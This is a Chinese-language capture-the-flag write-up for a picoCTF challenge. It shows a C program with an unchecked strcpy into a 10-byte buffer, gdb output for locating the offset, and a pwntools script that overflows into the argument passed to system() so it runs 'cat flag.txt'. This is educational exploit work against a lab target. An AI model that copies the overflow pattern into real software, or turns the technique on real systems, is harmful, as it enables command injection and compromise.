原始碼
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
void fun(char *name, char *cmd);
int main() {
char name[200];
printf("What is your name?\n");
fflush(stdout);
fgets(name, sizeof(name), stdin);
name[strcspn(name, "\n")] = 0;
fun(name, "uname");
return 0;
}
void fun(char *name, char *cmd) {
char c[10];
char buffer[10];
strcpy(c, cmd);
strcpy(buffer, name);
printf("Goodbye, %s!\n", buffer);
fflush(stdout);
system(c);
}
解題
解題思路
name的大小最多可寫200,而buffer的大小最多可寫10,且strcpy為檢查字串大小直接複製,導致overflow,我們利用此覆蓋system要執行的指令
確認檔案類型
file vuln

確認保護機制
checksec --file=vuln

尋找需要的資訊
尋找寫入位置
gdb ./vuln
b vuln
run

► 0x4012ab <fun+53> call strcpy@plt <strcpy@plt>
dest: 0x7fffffffdf9c ◂— 0xffffe1a800007fff
src: 0x7fffffffdfc0 ◂— 'aaaaaaaaaa'
尋找system指令儲存位置
gdb ./vuln
b vuln
run

0x401298 <fun+34> call strcpy@plt <strcpy@plt>
dest: 0x7fffffffdfa6 ◂— 0x7ffff7ffe5f00000
src: 0x402019 ◂— 0x6f4700656d616e75 /* 'uname' */
計算所需大小
offset=0x7fffffffdfa6-0x7fffffffdf9c
實際payload
from pwn import *
if '--remote' in sys.argv:
p = remote('amiable-citadel.picoctf.net', 52799)
else:
p = process("./vuln")
p.recvline()
'''
0x4012c3 <fun+77> call printf@plt <printf@plt>
format: 0x40201f ◂— 'Goodbye, %s!\n'
rsi: 0x7fffffffdf9c ◂— 'aaaaaaaaaaaa'
x7fffffffdfa6 ◂— 0x7fff00656d006161
► 0x4012de <fun+104> call system@plt <system@plt>
command: 0x7fffffffdfa6 ◂— 0x7fff00656d006161 /* 'aa' */
'''
offset = 0x7fffffffdfa6-0x7fffffffdf9c
payload=flat(
b'a'*offset,
b'cat flag.txt'
)
p.sendline(payload)
p.interactive()
p.close()

flag

補充
雖然stack的寫入方向是從高位置往低位置但strcpy與memcpy寫入的方向為低位寫入高位置
strcpy 從 dst[0] 開始,dst[1]、dst[2]……一路往上寫。字串再長也只會往高位址跑。
因此 buffer 比 c 低位置,溢位剛好覆蓋到c。


說些什麼吧!